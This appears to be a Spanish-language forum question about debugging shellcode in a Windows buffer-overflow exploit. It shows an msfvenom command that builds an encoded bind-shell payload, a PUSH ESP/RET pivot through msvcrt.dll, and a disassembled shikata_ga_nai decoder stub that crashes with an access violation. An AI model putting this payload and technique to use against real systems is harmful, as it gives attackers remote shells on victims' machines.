Estoy generando shellcode excluyendo los caracteres incorrectos usando:
msfvenom -p windows/shell_bind_tcp -b '\x00\x40\x0a\x0d' -f py
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Incremento el tamaño de la pila para permitir la decodificación:
add esp, -1500
Cuando ejecuto el código y comparo el código de shell en el depurador con el código de Python, todo está bien, todos los caracteres coinciden.
Se alcanza el punto de interrupción en el registro EPI.
Luego se llama a PUSH ESP y RET para que apunten a la dirección de msvcrt.dll
Sigo recorriendo el código del shell (lo verifiqué y todos los caracteres son correctos en comparación con el código de python hexadecimal):
ADD ESP, -5DC
MOV EAX, D5A109D9
FCMOVNBE ST, ST(3)
FSTENV (28-BYTE) PTR SS:[ESP-C]
POP EBX
SUB ECX,ECX
MOV CL,53
SUB EBX,-4
XOR DWORD PTR DS: [EBX+E],EAX ............. (Access violation when writing to [00000012])
En este punto EBX = 00000004, EAX = D5A109D9
¿Por qué el shellcode intenta escribir en [EBX + E] = 00000012? Incluso las instrucciones después de XOR DWORD tienen los caracteres hexadecimales correctos que coinciden con el código, por lo tanto, no parece haber otros caracteres incorrectos.